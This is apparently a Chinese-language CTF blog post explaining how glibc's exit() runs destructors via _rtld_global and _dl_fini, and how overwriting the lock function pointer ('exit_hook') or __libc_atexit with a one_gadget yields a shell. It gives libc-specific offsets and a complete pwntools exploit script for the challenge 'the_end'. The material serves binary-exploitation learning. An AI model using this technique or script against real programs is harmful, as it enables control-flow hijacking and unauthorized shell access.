exit函数在pwn中的利用
Marce1

exit()在pwn中的利用

之前听说过利用exit在什么函数上锁时覆盖one_gadget达到getshell的作用,感觉类似于IO_file但是仍然不了解。今天看到了一篇很好的文章,借此机会学习并结合例题感受一下

exit()分析与利用-安全客 - 安全资讯平台

前置知识

析构函数

面向对象语言中创建一个对象时会调用对应类的构造函数,一般用于初始化对象,可以理解为析构函数就是构造函数的对立,就是在对象销毁时自动执行,主要负责清理。比如构造函数打开了 一个文件,析构函数就要关闭这个文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
class FileHandler {
public:
FileHandler(const char* filename) {
file = fopen(filename, "r");
}
~FileHandler() {
if (file!= nullptr) {
fclose(file);
}
}
private:
FILE* file;
};

虽然c不是面向对象语言,但是在c中的exit函数中,也有具有相同思想的析构函数

在exit()实际上就是对_run_exit_handlers()的包装,这个函数用于调用一个个析构函数,给整个程序擦辟谷。

命名空间

你可以把它想象成一个收纳盒,他把相关的变量、函数等等都装在一起,避免命名冲突。在c++中我们经常能看到using namespace std,他提供了输入输出算法等等很多功能,这就是命名空间。

同样是个面向对象意味很重的概念,在接下来的trld_global结构体中有体现

exit_funcs

我爱读源码(哭泣

首先exit()其实就是对_run_exit_handlers()的包装,后者里面保存了包含很多析构函数的链表,就是exit_funcs,每一个节点都有一个描述各个析构函数结构体数组fns[32],每一个结构体数组元素才保存了一个析构函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct exit_function
{
long int flavor;
/*
函数类型, 可以是{ef_free, ef_us, ef_on, ef_at, ef_cxa}
- ef_free表示此位置空闲
- ef_us表示此位置被使用中, 但是函数类型不知道
- ef_on, ef_at, ef_cxa 分别对应三种不同的析构函数类型, 主要是参数上的差异
*/

union //多个种函数类型中只会有一个有用, 所以是联合体
{
void (*at)(void); //ef_at类型 没有参数
struct
{
void (*fn)(int status, void *arg);
void *arg;
} on; //ef_on类型
struct
{
void (*fn)(void *arg, int status);
void *arg;
void *dso_handle;
} cxa; //ef_cxa类型
} func;
};

而_run_exit_handlers()主要工作就是调用exit_funcs中保存的各种函数指针。

真他娘绕。如果不是写下了以上文字我都难以弄懂

劫持__exit_funcs链表?

前文所述,__exit_func作为一个链表,每个节点都通过数组保存了描述一个个析构函数的描述(包含析构函数的各种属性说明,方便程序处理各类析构函数,同时也包含析构函数本身的指针)

那我们能不能……劫持__exit_funcs链表?然后仿造析构函数结构体数组,再在数组里将对应的析构函数换成我们的函数执行?

打咩。析构函数指针是经过了加密的。在操作系统中我刚刚接触了全局段描述符表,在这里就排上了用场:控制寄存器fs存储的选择子指向的是tcbhead_t结构体,析构指针的异或加密参数就是fs:30 pointer_guard,话说这看起来是不是有点眼熟……没错!fs:0x28就是我们熟悉的canary值

如果要劫持__exit_funcs,还要泄露pointer_guard……更别提套娃接套娃的描述函数存储,一定程度上说这是不可行的。

rtdl_fini()到rtld_global

程序从start开始,start又会调用libc_start_main,而动态链接器的析构函数rtld_fini就是通过libc_start_main注册的。rtdl_fini实际指向dl_fini()函数,它位于ld.so中。当程序进行时,ld.so会通过dl_open()将所需文件映射到进程空间中,同时将所有映射文件记录在结构体_rtld_global中,当进程终止时,ld.so就通过dl_fini调用进程空间中所有模块的析构函数。

一言以蔽之,rtld_fini通过_rtld_globle执行所有析构函数,它是通过libc_start_main注册的,globle并没有被加密,所以我们可以通过劫持其上的函数指针来任意执行。

rtld_global结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
struct rtld_global
{

#define DL_NNS 16

struct link_namespaces
{
//每个模块用_ns_loaded描述, 这个命名空间中所映射的模块组成一个双向链表, _ns_loaded就是这个链表的指针
struct link_map *_ns_loaded;

/* _ns_loaded中有多少模块 */
unsigned int _ns_nloaded;

/* 映射模块的搜索表 */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
size_t _ns_global_scope_alloc;

/* 这个命名空间中的符号表, 单个命名空间中的符号不允许重复 */
struct unique_sym_table
{
__rtld_lock_define_recursive(, lock) struct unique_sym
{
uint32_t hashval; //符号hash值
const char *name; //名称
const ElfW(Sym) * sym; //符号
const struct link_map *map; //所属模块
} * entries; //entries可以理解为struct unique_sym数组的指针, 通过entries[idx]就可找到第idx个符号
size_t size; //有多少个元素
size_t n_elements;
void (*free)(void *); //析构函数
} _ns_unique_sym_table;

/* 记录命名空间变化的, debug用 */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS]; //一个命名空间一个link_namespace结构体

/* _dl_nns表示使用了多少个命名空间: Dynamic Link Num of NameSpace */
size_t _dl_nns;

...;
}
接着我们分析下struct link_map, 来看看ld是怎么描述每一个模块的
ELF文件都是通过节的组织的, ld自然也延续了这样的思路,
l_info中的指针都指向ELFDyn节中的描述符, Dyn中节描述符类型是ElfW(Dyn)
struct link_map
{
ElfW(Addr) l_addr; /* 模块在内存中的的基地址 */
char *l_name; /* 模块的文件名 */
ElfW(Dyn) * l_ld; /* 指向ELF中的Dynamic节 */
struct link_map *l_next, *l_prev; /* 双向链表指针 */
struct link_map *l_real;

/* 这个模块所属NameSapce的idx */
Lmid_t l_ns;

struct libname_list *l_libname;

/*
l_info是ELF节描述符组成的的数组
ELF中一个节, 使用一个ElfW(Dyn)描述
各个类型的节在l_info中的下标固定, 因此可以通过下标来区分节的类型
*/
ElfW(Dyn) * l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

const ElfW(Phdr) * l_phdr; /* ELF的头表 */
ElfW(Addr) l_entry; /* ELF入口点 */
ElfW(Half) l_phnum; /* 头表中有多少节 */
ElfW(Half) l_ldnum; /* dynamic节中有多少描述符 */

...;
}
ElfW(Dyn)是一个节描述符类型, 宏展开结果为Elf64_Dyn, 这个类型被定义在elf.h文件中, 与ELF中的节描述对应
typedef struct
{
Elf64_Sxword d_tag; /* 便签, 用于标注描述符类型 */
union
{
Elf64_Xword d_val; /* 内容可以是一个值 */
Elf64_Addr d_ptr; /* 也可以是一个指针 */
} d_un;
} Elf64_Dyn;

值得一提的就是link_map中可能含有fini_array节,这个节里保存的就是该模块的析构函数,之后_dl_fini就是通过寻找fini_array调用析构函数的

_dl_fini()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
void internal_function _dl_fini(void)
{
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) //遍历_rtld_global中的所有非共享模块: _dl_ns[DL_NNS]
{
__rtld_lock_lock_recursive(GL(dl_load_lock)); //对rtld_global上锁

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* 如果这个NameSapce没加载模块, 或者不需要释放, 就不需要做任何事, 就直接调用rtld中的函数指针释放锁 */
if (nloaded == 0 || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit)
__rtld_lock_unlock_recursive(GL(dl_load_lock));
else //否则遍历模块
{
/* 把这个命名空间中的所有模块指针, 都复制到maps数组中 */
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert(nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next) //遍历链表
if (l == l->l_real) /* Do not handle ld.so in secondary namespaces. */
{
assert(i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
...;
unsigned int nmaps = i; //多少个模块

/* 对maps进行排序, 确定析构顺序 */
_dl_sort_fini(maps, nmaps, NULL, ns);

//释放锁
__rtld_lock_unlock_recursive(GL(dl_load_lock));

/* 从前往后, 析构maps中的每一个模块 */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* 是否包含fini_array节, 或者fini节 */
if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL)
{
/* debug时打印下相关信息 */
if (__builtin_expect(GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf("\ncalling fini: %s [%lu]\n\n",DSO_FILENAME(l->l_name),ns);

/* 如果有fini_array节的话 */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
/*
l->l_addr: 模块l的加载基地址
l->l_info[DT_FINI_ARRAY]: 模块l中fini_array节的描述符
l->l_info[DT_FINI_ARRAY]->d_un.d_ptr: 模块l中fini_arrary节的偏移
array: 为模块l的fini_array节的内存地址
*/
ElfW(Addr) *array = (ElfW(Addr) *)(l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);

/*
ELF中 fini_arraysz节用来记录fini_array节的大小
l->l_info[DT_FINI_ARRAYSZ]: 模块l中fini_arraysz节描述符
l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val: 就是fini_array节的大小, 以B为单位
i: fini_array节的大小/一个指针大小, 即fini_array中有多少个析构函数
*/
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof(ElfW(Addr)));
while (i-- > 0) //从后往前, 调用fini_array中的每一个析构函数
((fini_t)array[i])();
}

/* 调用fini段中的函数 */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

...;
}

/* Correct the previous increment. */
--l->l_direct_opencount;
}
}
}

...;
}

贴原文的上来了,难以想象何等的强大才能写就这样一篇文章啊!

rtld_globle内有一个命名空间结构体数组,每一个命名空间内都用双向链表link_map管理了一大串模块,link_map内包含一个由elf节(比如.data .bss .text)组成的结构体数组l_info,结构体名为Elf64_Dyn,他是这样来描述节的:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf64_Sxword d_tag; /* 便签, 用于标注描述符类型 */
union
{
Elf64_Xword d_val; /* 内容可以是一个值 */
Elf64_Addr d_ptr; /* 也可以是一个指针 */
} d_un;
} Elf64_Dyn;

值得注意的是,在dl_fini中遍历模块的时候每个模块都会先执行一个上锁函数,这个很重要,记下来要考

rtld_global的结构也是重量级,自上而下就是命名空间结构体数组到模块链表到节描述符

前面说了_dl_fini就是通过rtld_global来找到各个模块的fini_array节的,接着就调用其中的析构函数指针

归纳一下

动态链接需要映射共享片段到进程空间内,动态链接器ld.so会通过dl_open()执行这一过程,同时将所有映射的文件(就是模块)记录到结构体***rtdl_global***中,他就是我们利用的关键。_rtdl_global中有一个命名空间结构体数组_link_namespaces__,每个命名空间结构体数组中有一个描述模块的结构体链表*link_map,每个节点中有一个节描述符数组*Elf64_Dyn**,从中就能找到保存析构函数指针数组的节描述符fini_array,在进程结束时ld.so会通过dl_fini()从rtdl_global开始一路找到fini_array,最终执行其中的析构函数

然而不同于exit_funcs(),rtdl_global在遍历时没有经过加密,如果我们能修改其上的内容就可以成功劫持析构函数,执行我们自己的函数

从理论到实践

exit_hook——劫持上锁解锁函数 || __libc_atexit

前面提到过,ld_fini在遍历模块的时候都要先”上锁“,以免和其他进程竞争

1
__rtld_lock_lock_recursive(GL(dl_load_lock)); //对rtld_global上锁

有意思,蠢比的是这个上锁和解锁函数指针是写在rtld_global里的……所以我们可以将其覆盖来getshell。

这时候有人就要问了,怎么找到rtld_global呢?它是记录在ld.so里的——孩子别怕,作为mmap的文件,它的地址与libc便宜固定——我们只需要一个任意写,加上可泄露的libc基址。我愿称之为2.34后hook的遗珍——exit_hook

image-20241108002032311

翻了翻winmt佬的专栏,原来当年我早有见过,只不过当初才疏学浅,看得脑袋长包。现在终于理解了来龙去脉。

在libc-2.23中
__rtld_lock_lock_recursive = libc_base+0x5f0040+3848

__rtld_unlock_unlock_recursive = libc_base+0x5f0040+3856

在libc-2.27中

__rtld_lock_lock_recursive = libc_base+0x619060+3840

__rtld_unlock_unlock_recursive = libc_base+0x619060+3848

例题:the_end

pwn

image-20241108004744863

五个任意读写,我们直接往exit_hook上覆盖one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from LibcSearcher3 import *

context(os='linux', arch='amd64', log_level='debug')

filename = 'pwn'
def exec_fmt(pad):
p = process('./'+filename)
p.sendlineafter("Enter your name: ", pad)
p.recvuntil(b'Hello, ')
return p.recv()

'''
fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)
'''

IP = ''
debug = 0
if debug:
p = remote('', 10000)
else:
p = process('./'+filename)

elf = ELF('./'+filename)

def dbg():
gdb.attach(p)

ubuntu16 = ['~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6', '~/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6']
ubuntu18 = ['~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6', '~/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6']
libc = ELF('/home/marcel/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')

def leak(something):
rc = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
success(something+"---->"+hex(rc))
return rc

def leak_fmt(something):
rc = int(p.recv(14),16)
success(something+"---->"+hex(rc))
return rc

p.recvuntil("here is a gift ")

sleep1 = leak_fmt('sleep')
libc_base = sleep1-libc.sym['sleep']
success('libc_base--->'+hex(libc_base))
exit_hook = libc_base +0x7f138cb83f48 -0x7f138c594000
success('exit_hook---->'+hex(exit_hook))
one_gadget = libc_base + 0xef9f4
success('one_gadget---->'+hex(one_gadget))
for i in range(5):
p.send(p64(exit_hook+i))
p.send(p8((one_gadget>>(i*8))&0xff))
p.interactive()

如果实在找不到exit_hook,p &_rtld_global,然后看一眼rtld_global+3840左右的位置

关闭了标准输入,所以还要重定向一下

1
cat flag>&0

翻了winmt的文章之后发现还有一种很方便的利用方法,__run_exit_handler函数除了会调用ld_fini,还会引用一个叫做 libc_atexit 的函数指针,更棒的是这个函数在libc而不是ld中,但是他是无参调用,只能上one_gadget。

由 Hexo 驱动 & 主题 Keep
总字数 47.9k 访客数 访问量